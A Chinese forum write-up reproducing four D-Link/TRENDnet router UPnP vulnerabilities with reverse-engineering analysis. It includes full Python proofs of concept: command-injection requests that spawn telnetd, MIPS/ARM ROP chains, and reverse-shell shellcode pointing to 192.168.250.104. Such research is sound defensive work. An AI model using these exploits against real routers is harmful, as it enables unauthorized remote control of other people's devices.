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看雪论坛作者ID：winmt
一
前言
UPNP协议
UPNP，全称为：Universal Plug and Play，中文为：通用即插即用，是一套基于TCP/IP、UDP和HTTP的网络协议。
简单来说，就和它的名字一样，UPNP的目的就是为了在某个设备接入网络后，该网络中的所有设备都知道有新设备加入，这些设备之间能互相沟通，甚至可直接使用或控制对方。
UPNP的一大亮点就是，只要某设备支持并开启了UPNP，当主机向其发出端口映射请求的时候，该设备就会自动为主机分配端口并进行端口映射。
cgibin
在D-Link，TRENDnet等apache struct的路由器的/htdocs目录下都存在一个cgibin二进制文件，它会有很多.cgi文件的软链接，通过运行这些软链接，其名字会作为第一个参数传入cgibin，就会调用到cgibin中对应的函数。
cgibin会作为 “请求验证文件” ，对用户的请求进行验证并解析，再将解析后的数据传给对应的文件，进行下一步的操作。
upnp相关的cgi
下图为UPNP协议栈的结构示意图：
可以看到其中的 SSDP（简单服务发现协议），SOAP（简单对象访问协议）与GENA（通用事件通知体系） ，其分别对应ssdpcgi（在/htdocs/upnp目录下），soap.cgi（在/htdocs/upnp/docs/LAN-1目录下），gena.cgi（在/htdocs/upnp/docs/LAN-1目录下），本文也主要是分析这几个cgi在cgibin中对应函数的漏洞。
FAP (firmware-analysis-plus)
由于牵涉到UPNP协议，用qemu来模拟是比较复杂的，需要手动初始化一些东西，因此笔者为了方便，选择使用FAP来仿真模拟固件运行，这个平台基于firmadyne，对其做了一些优化及改进，GitHub的项目地址为：firmware-analysis-plus（https://github.com/liyansong2018/firmware-analysis-plus）。
该平台的优点是：可以做到一键仿真模拟固件运行，缺点是：适配性较差，最好在Kali上安装使用，笔者所用的物理机是Kali 2021.11的版本。
此外，经过笔者测试，该平台对大部分MIPS架构的固件模拟都没有问题，但是对部分ARM架构（特别是D-Link系列高版本路由）的固件模拟好像会出一些问题。
关于ARM无法成功仿真模拟的问题，笔者已经在github上提交了issue咨询了作者，并且得到了回复：
笔者后来又找到了另一个优秀的“固件仿真框架”EMUX，这是一个基于docker的框架，主要针对于arm架构的仿真模拟，近期也支持了mips架构，根据官方的描述，可以对DIR860以上的arm架构路由进行模拟运行。
2022.5.7更新：
这篇文章其实是挺久前写的了，昨天刚发出来，今天就收到了FAP项目作者的回复，说是已经修复了D-Link系列高版本arm路由无法仿真的问题：
笔者立即测试了一下，的确是修复了该问题，接着，笔者又尝试用FAP模拟运行了TP-Link，Tenda等品牌中多款arm的固件，都能够成功。
从目前各方面综合来看，FAP项目是仿真模拟IoT固件的极好的选择。
注：以下复现的CVE所影响的路由器为D-Link DIR-859及以下的版本，以及部分D-Link DIR-859以上的较低小版本，TRENDnet的很多路由器因框架相同，也受其影响。
二
CVE-2020-15893
漏洞信息：CVE-2020-15893（https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15893）
这个CVE与ssdpcgi有关，我们先来分析cgibin中的ssdpcgi_main函数，可以很轻松地定位到可能的漏洞点在LABEL_17这里：
进入lxmldbc_system函数：
可以看到这里是用vsnprintf对传进来的格式化字符串进行了拼接，其中va是通过va_arg取当前栈上的元素组成的va_list，通过动态调试不难发现，这里取的栈上的元素就是存放在栈上的环境变量：
在真机环境中，这里只有HTTP_ST是我们可控的。
当我们向HTTP_ST注入恶意指令，那么拼接好的字符串v6作为system参数，就可以导致任意命令执行（RCE）漏洞了。
再回到ssdpcgi_main详细分析一下该如何构造payload：
可以发现，进行一堆匹配验证，最后的格式化字符串只有下面两个会多出一个参数%s的拼接，我们再看到汇编：
这里的第二个参数为/etc/scripts/upnp/M-SEARCH.sh，第三四个参数可以往上查找到，分别是REMOTE_ADDR和REMOTE_PORT：
结合格式化字符串，可以猜测并通过动调验证出，最后在lxmldbc_system函数中拼接好的system的参数应为 /etc/scripts/upnp/M-SEARCH.sh XXX REMOTE_ADDR:REMOTE_PORT SERVER_ID HTTP_ST & ，因此，想要造成RCE，也就是要让HTTP_ST拼接上去，就必须要选用后面两个格式化字符串（device和service），也就需要之前有urn:才行。
综上，我们初步构造的payload可以是向HTTP_ST注入urn:device:;telnetd -p 8888，由于此busybox自带了telnetd，这里用telnetd开一个端口，再从主机远程登陆进去是最方便的。
我们知道ssdpcgi和UPNP协议有关，也就是要发送报文到UPNP相关的端口，所以先用FAP模拟运行起固件，然后打开/var/run/httpd.conf文件，可以找到：
也就是说，要向1900端口发送报文，才能走到ssdpcgi。
然而，发送一段报文，肯定是需要请求方式的，在cgibin中不好直接看出来，可以到/usr/sbin/upnp文件中去找ST字段的关键词定位：
可以看到sub_41BFDC函数中有对其的操作，再交叉引用到调用sub_41BFDC的sub_41C2A0函数，这里要求我们的请求方式是M-SEARCH：
上图中的v10是调用ILibParsePacketHeader对a1 + 108的数据包解析的结果，而a1 + 108是接收到的socket套接字储存的地方：
在sub_415C9C中也可以看到，把socket绑定到了1900端口：
再回到有对ST字段进行匹配操作的sub_41BFDC函数，可以看到首先需要绕过下面圈出的判断，这里的1.1显然就是HTTP版本：
综上，从upnp二进制文件中可以看到，我们得是M-SEARCH请求方式，故：报文头应为M-SEARCH * HTTP/1.1。
POC：
# python3from socket import *from os import *from time import *payload = b'M-SEARCH * HTTP/1.1\r\n'payload += b'HOST:localhost:1900\r\n'payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n's = socket(AF_INET, SOCK_DGRAM, 0)s.sendto(payload, ("192.168.10.1", 1900))s.close()sleep(1)system("telnet 192.168.10.1 8888")
最终成功开启了8888端口，利用telnet远程登陆到了路由器固件中，可执行任意命令：
通过ps命令查看进程，可以发现telnetd -p 8888命令的确已经被成功执行：
三
CVE-2019-17621
漏洞信息：CVE-2019-17621（https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17621）
这个漏洞与gena.cgi有关，还是先看到cgibin中的genacgi_main函数：
可以看到v5是service=后面的内容，再先看到SUBCRIBE请求方式对应的sub_41A390函数：
看到这里，拼接好的字符串v16作为了xmldbc_ephp的参数，xmldbc_ephp函数在这里显然就是运行了/htdocs/upnp/run.NOTIFY.php文件，于是，我们再来分析这个文件：
当SID为空的时候，调用了GENA_subscribe_new函数，这个函数在/htdocs/upnpinc/gena.php中：
这里有对HOST的检查，然后最后调用到了GENA_notify_init函数：
在最后，将$shell_file写入了shell文件中，不难想到，可以通过控制shell_file达成任意命令执行。
再看回到sub_41A390函数中，既然HTTP_SID必须为空才能走到漏洞点，那么自然就走到了else分支：
这些检查都需要绕过，才能走到xmldbc_ephp函数：
这里的SHELL_FILE中可控参数a1就是从genacgi_main传进来的参数v5，也就是service=后面的内容。
综上，可以通过对service注入恶意指令，造成RCE漏洞 。
至此，我们知道了报文的请求方式得是SUBSCRIBE才能触发漏洞，至于UNSUBSCRIBE和SID不为空的情况可以自行审一遍代码，很容易看出是行不通的。
接下来要做的就是找的对应的UPNP端口，先找gena.cgi在哪里，看到/etc/services/HTTP/httpsvcs.php文件：
这里将cgibin的软链接建到了/var/htdocs/upnp/目录下，而这个目录也有软链接，为/htdocs/upnp/docs：
得到了这些信息，再看到/var/run/httpd.conf文件：
可以看到，需要向49152端口发送报文。
POC：
from pwn import *from socket import *from os import *from time import *request = b"SUBSCRIBE /gena.cgi?service=" + b"`telnetd -p 7777`" + b" HTTP/1.1\r\n"request += b"Host: localhost:49152\r\n"request += b"Callback: http:///\r\n"request += b"NT: upnp:event\r\n"request += b"Timeout: Second-2333\r\n\r\n"s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request)#io = remote("192.168.0.1", 49152)#io.send(request)sleep(1)os.system('telnet 192.168.0.1 7777')
这里拿socket或pwntools来打都是OK的：
或者直接nc上49152端口手动发送报文：
四
CVE-2018-6530
漏洞信息：CVE-2018-6530（https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6530）
这个漏洞是在soap.cgi中的，还是看到cgibin中的soapcgi_main函数：
首先需要绕过一些检查，比如CONTENT_TYPE得是text/xml，REQUEST_METHOD得是POST，HTTP_SOAPACTION中得有#等，可以看到这里对service后的内容已经进行了一些过滤，但是 貌似忘记过滤了&符号 。
接着往下看：
这里的cgibin_parse_request已经很熟悉了，就是对POST内容的解析，在这里用处不大，就注意设置一下相关环境变量即可。
再下面就来到漏洞点了：
这个fopen的第二个参数是a+，文件不存在就会创建，所以这个if很好判断过，下面的sprintf + system很显然存在一个任意命令执行的RCE漏洞。
之前说过，&忘记过滤了，因此我们可以用&&连接恶意命令并注入到service中，由于之前的sh /var/run/是个合法路径，因此算执行成功，可以走到&&之后的恶意命令。
在上一个CVE中已经分析过了，soap.cgi也是通过49152端口发送报文给UPNP的 。
POC：
from socket import *from os import *from time import *request = b"POST /soap.cgi?service=&&telnetd -p 8888&& HTTP/1.1\r\n"request += b"Host: localhost:49152\r\n"request += b"Content-Type: text/xml\r\n"request += b"Content-Length: 88\r\n"request += b"SOAPAction: a#b\r\n\r\n"s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request)sleep(1)system('telnet 192.168.0.1 8888')
五
CVE-2022-25106
漏洞信息：CVE-2022-25106（https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25106）
这个漏洞仍然是在gena.cgi中，不过这次是存在缓冲区溢出的漏洞：
上图是当为UNSUBSCRIBE请求方式时走到的函数，很容易看出存在一处栈溢出的漏洞，且当请求方式为SUBSCRIBE时，也存在同样的栈溢出漏洞。
需要提一下的就是，这里的SERVER_ID环境变量可以从httpd.conf文件中看到：
这个环境变量本身就不为空，也不是我们可控的，在这个栈溢出漏洞中，我们可以对service或HTTP_SID进行payload的注入，进行漏洞利用或造成拒绝服务。
这里需要注意的是：用FAP启动好固件后，需要用echo 0 > /proc/sys/kernel/randomize_va_space命令关闭地址随机化（ASLR），因为在真机环境中就是没开ASLR的，也方便我们接下来的复现：
POC-1：
用UNSUBSCRIBE的请求方式，对service进行了注入。
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips')libc_base = 0x2aaf8000s = socket(AF_INET, SOCK_STREAM)cmd = b'telnetd -l /bin/sh;'payload = b'a'*462payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*4 # fppayload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18 # paddingpayload += cmdmsg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r\n"msg += b"Host: localhost:49152\r\n"msg += b"SID: 1\r\n\r\n"s.connect((gethostbyname("192.168.10.1"), 49152))s.send(msg)sleep(1)system("telnet 192.168.10.1 23")
成功地远程登陆到了路由固件中：
检测到23号端口的telnet服务已被开启：
POC-2：
这个脚本在firmadyne模拟的环境中是打不通的，原因未知，可能是shellcode过长，到了一些不可执行区，但是在真机环境是可以打通的。
这里用的是SUBSCRIBE的请求方式，对service进行了注入。
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips')libc_base = 0x2aaf8000s = socket(AF_INET, SOCK_STREAM)payload = b'a'*449payload += b'a'*4 # s0payload += p32(libc_base + 0x3E874) # s1 move $t9, $s2 (=> lw... => jr $t9)payload += p32(libc_base + 0x56BD0) # s2 sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)payload += b'a'*0x18payload += b'a'*4 # s0payload += p32(libc_base + 0x37E6C) # s1 move $t9, $a1 (=> jr $t9)payload += b'a'*4 # s2payload += p32(libc_base + 0xB814) # ra addiu $a1, $sp, 0x18 (=> jalr $s1)shellcode = asm('''slti $a0, $zero, 0xFFFFli $v0, 4006syscall 0x42424slti $a0, $zero, 0x1111li $v0, 4006syscall 0x42424li $t4, 0xFFFFFFFDnot $a0, $t4li $v0, 4006syscall 0x42424li $t4, 0xFFFFFFFDnot $a0, $t4not $a1, $t4slti $a2, $zero, 0xFFFFli $v0, 4183syscall 0x42424andi $a0, $v0, 0xFFFFli $v0, 4041syscall 0x42424li $v0, 4041syscall 0x42424lui $a1, 0xB821 # Port: 8888ori $a1, 0xFF01addi $a1, $a1, 0x0101sw $a1, -8($sp)li $a1, 0x68FAA8C0 # IP: 192.168.250.104sw $a1, -4($sp)addi $a1, $sp, -8li $t4, 0xFFFFFFEFnot $a2, $t4li $v0, 4170syscall 0x42424lui $t0, 0x6962ori $t0, $t0,0x2f2fsw $t0, -20($sp)lui $t0, 0x6873ori $t0, 0x2f6esw $t0, -16($sp)slti $a3, $zero, 0xFFFFsw $a3, -12($sp)sw $a3, -4($sp)addi $a0, $sp, -20addi $t0, $sp, -20sw $t0, -8($sp)addi $a1, $sp, -8addiu $sp, $sp, -20slti $a2, $zero, 0xFFFFli $v0, 4011syscall 0x42424''')payload += b'a'*0x18payload += shellcodemsg = b"SUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r\n"msg += b"Host: localhost:49152\r\n"msg += b"SID: 1\r\n"msg += b"Timeout: Second-2333\r\n\r\n"s.connect((gethostbyname("192.168.250.1"), 49152))s.send(msg)
POC-3：
发现DIR-860L v2.03竟然还存在这个漏洞，于是也打了一下，这里注入的是HTTP_SID，又由于uClibc版本换了，所以gadget也有些变化：
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips')libc_base = 0x2aabf000s = socket(AF_INET, SOCK_STREAM)cmd = b'telnetd -p 8888;'payload = b'a'*437payload += b'a'*4 # s0payload += p32(libc_base + 0x398A4) # s1 move $a0, $s4 ... jalr $fppayload += p32(libc_base + 0x56C20) # fp systempayload += p32(libc_base + 0x3B2B0) # ra addiu $s4, $sp, 0x28 ... jalr $s1payload += b'a'*0x28 # paddingpayload += cmdmsg = b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\r\n"msg += b"Host: localhost:49152\r\n"msg += b"SID: " + payload + b"\r\n\r\n"s.connect((gethostbyname("192.168.0.1"), 49152))s.send(msg)sleep(1)system("telnet 192.168.0.1 8888")
POC-4：
发现DIR-880L v1.0虽然架构换成了armel，但是这个漏洞仍然是存在的。
不过，FAP对部分arm架构的固件的仿真运行有些问题，笔者也还不太会用EMUX，没成功启动固件，目前又没有真机的测试条件，就先贴一下POC（这里的gadget在本地的qemu测试过，是可以跑通的）：
2022.5.7更新：FAP项目作者已经修复了D-LINK系列高版本arm路由无法仿真模拟的问题，下面给出的是最终测试通过的POC。
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'arm')libc_base = 0xb6f7e000s = socket(AF_INET, SOCK_STREAM)cmd = b'telnetd -l /bin/sh;'payload = b'a'*462payload += b'a'*4 # r4payload += b'a'*4 # r5payload += b'a'*4 # r11payload += p32(libc_base + 0x169a0) # pop {r2, r3, r4, pc};payload += b'a'*4payload += p32(libc_base + 0x406f8) # mov r0, r1; pop {r3, pc};payload += b'a'*4payload += p32(libc_base + 0x390fc) # pc add r1, sp, #0x2c; blx r3;payload += b'a'*4 # r3payload += p32(libc_base + 0x5a270) # pc systempayload += b'a'*(0x2c-8) # paddingpayload += cmdmsg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r\n"msg += b"Host: localhost:49152\r\n"msg += b"SID: 1\r\n\r\n"s.connect((gethostbyname("192.168.0.1"), 49152))s.send(msg)sleep(1)system("telnet 192.168.0.1 23")
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